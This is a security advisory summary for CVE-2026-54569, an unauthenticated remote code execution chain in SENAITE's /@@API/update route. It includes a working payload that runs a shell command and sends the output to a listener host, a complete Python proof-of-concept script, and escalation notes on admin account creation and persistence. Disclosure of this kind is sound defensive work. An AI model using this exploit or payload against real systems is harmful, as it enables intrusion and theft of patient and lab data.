# senaite.core Vulnerable to Eval Injection and Missing Authorization

Unauthenticated chain on SENAITE JSON API: missing AccessJSONAPI check on /@@API/update plus eval() on RecordsField values yields Python RCE in the Zope worker.

- Payout: Research
- Severity: critical
- Program: SENAITE
- Found by: snomi, Volcore
- Disclosed: 2026-08-26
- CVE: CVE-2026-54569
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-jrw6-7x4q-w25j
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-jrw6-7x4q-w25j
- Tags: area:web domain:web impact:data-leak impact:rce kind:research platform:ghsa sev:critical tech:python technique:chained technique:source-review vuln:access-control vuln:auth-bypass vuln:rce

**Target:** /@@API/update JSON API route on Zope/Plone
**Root cause:** The update route omits the AccessJSONAPI permission check present in create.py, and set_fields_from_request runs eval() on raw request strings for RecordsField/RecordField types before the field mutator's write_permission check.
**Steps:**
1. GET `/senaite/bika_setup/@@uuid` anonymously to obtain the bika_setup UID (e.g. `8dbc161fa9f74aa4ad6e76eb1934518a`)
2. POST to `/senaite/@@API/update` with `obj_uid=<uid>` and `RejectionReasons=__import__('urllib2').urlopen('http://listener:8000/?id=' + __import__('os').popen('id').read().replace(' ', '_').replace('\n', '_'))`
3. Observe the listener receiving the stdout of `id` from the Zope worker, confirming arbitrary Python execution
**How found:** Compared sibling routes in jsonapi/: create.py enforces AccessJSONAPI but update/update_many/remove/doActionFor/getusers do not; then traced set_fields_from_request and found eval() on RecordsField values before the mutator permission check. Noted bika_setup is anonymous-readable and its UID is published by @@uuid.
**Exploitation:** Two anonymous requests: @@uuid leaks the bika_setup UID (anonymous-readable on stock Plone), then @@API/update passes the UID through uid_catalog/brain.getObject() and reaches eval() on the RejectionReasons RecordsField value. Payload uses __import__('os').popen('id') and exfiltrates via urllib2 to an attacker listener. ZODB rollback does not undo Python side effects.
**Escalation:** RCE gives ZODB read/write (patient/lab data), filesystem access on /data, outbound egress, and acl_users access to create admin accounts; combined with exposed /manage ZMI yields durable persistence.
**Insight:** When auditing a framework's API route family, diff permission checks across sibling handlers (create vs update/remove) rather than testing one; then check whether any pre-mutator type coercion (eval/json.loads) runs before write_permission. Anonymous-readable config objects plus a UID-disclosure view like @@uuid supply the target identifier without auth.

## Proof of concept (copied exactly from the original report)

**Unauthenticated RCE PoC script**

```
#!/usr/bin/env python3
"""PoC: Unauthenticated RCE on SENAITE.CORE v2.6.0"""
import sys, time, urllib.error, urllib.parse, urllib.request

TARGET = "http://localhost:8080"
SITE = "senaite"
LISTENER_HOST = "http://localhost:8000"
LISTENER_INSIDE = "http://listener:8000"

PAYLOAD = (
    "__import__('urllib2').urlopen("
    f"'{LISTENER_INSIDE}/?id=' + "
    "__import__('os').popen('id').read().replace(' ', '_').replace('\\n', '_')"
    ")"
)

def http_get(url, timeout=5):
    req = urllib.request.Request(url, headers={"Accept": "*/*"})
    return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore")

def http_post(url, fields, timeout=10):
    body = urllib.parse.urlencode(fields).encode()
    req = urllib.request.Request(url, data=body, method="POST")
    return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore")

def wait_for_target():
    deadline = time.time() + 600
    while time.time() < deadline:
        try:
            with urllib.request.urlopen(f"{TARGET}/{SITE}/login_form", timeout=3) as r:
                if r.status == 200: return
        except Exception: pass
        time.sleep(3)
    sys.exit(1)

def discover_bika_setup_uid():
    body = http_get(f"{TARGET}/{SITE}/bika_setup/@@uuid", timeout=5).strip()
    if len(body) == 32 and all(c in "0123456789abcdef" for c in body):
        return body
    sys.exit(1)

def fire_payload(uid):
    try:
        http_post(f"{TARGET}/{SITE}/@@API/update",
                  {"obj_uid": uid, "RejectionReasons": PAYLOAD})
    except urllib.error.HTTPError:
        pass

def read_listener():
    time.sleep(1)
    try:
        log = http_get(f"{LISTENER_HOST}/log", timeout=3)
    except Exception:
        return False
    return "id=" in log

if __name__ == "__main__":
    wait_for_target()
    uid = discover_bika_setup_uid()
    fire_payload(uid)
    sys.exit(0 if read_listener() else 1)
```

**Anonymous UID discovery request**

```
GET /senaite/bika_setup/@@uuid HTTP/1.1
HTTP/1.1 200 OK
Content-Type: text/plain

8dbc161fa9f74aa4ad6e76eb1934518a
```

